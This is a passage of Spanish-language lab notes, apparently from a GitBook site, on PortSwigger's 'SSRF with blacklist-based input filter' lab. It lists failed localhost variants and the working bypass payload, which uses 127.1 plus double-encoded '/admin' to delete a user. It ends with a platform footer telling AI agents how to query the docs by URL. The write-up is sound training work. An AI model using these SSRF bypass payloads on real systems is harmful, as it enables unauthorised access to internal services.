> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssrf/ssrf-with-blacklist-based-filter.md). # SSRF con filtrado basado en lista negra Notas de SSRF con filtrado basado en lista negra para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación. ### SSRF con filtro de entrada basado en lista negra El laboratorio ofrece una función de verificación de inventario que permite recuperar datos de un sistema interno. / El objetivo es acceder a la interfaz de administración en `HTTP://localhost/admin` y eliminar al usuario **carlos**. / Deben sortearse dos mecanismos de defensa débiles basados en listas negras. #### Análisis y elusión Al reemplazar el `stockApi` parámetro para apuntar directamente al administrador local, la consulta es rechazada: ``` stockApi=https://localhost/admin ```
Para eludir la lista negra en `localhost`, se prueban varias variantes de direcciones internas: * `https://127.0.0.1` * `https://127.13.55.222` * `https://127.0.1` Estos intentos también fallan. Luego probamos **hexadecimal** o **decimal** representaciones de la dirección: * `https://0x7F.0x0.0x1` * `https://2130706433` La detección siempre bloquea la `/admin` ruta, lo que indica que la defensa se dirige principalmente a esta cadena específica.
```javascript stockApi=http://127.1/%2561dmin stockApi=http://127.1/%2561dmin/delete?username=carlos ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/web/ssrf/ssrf-with-blacklist-based-filter.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.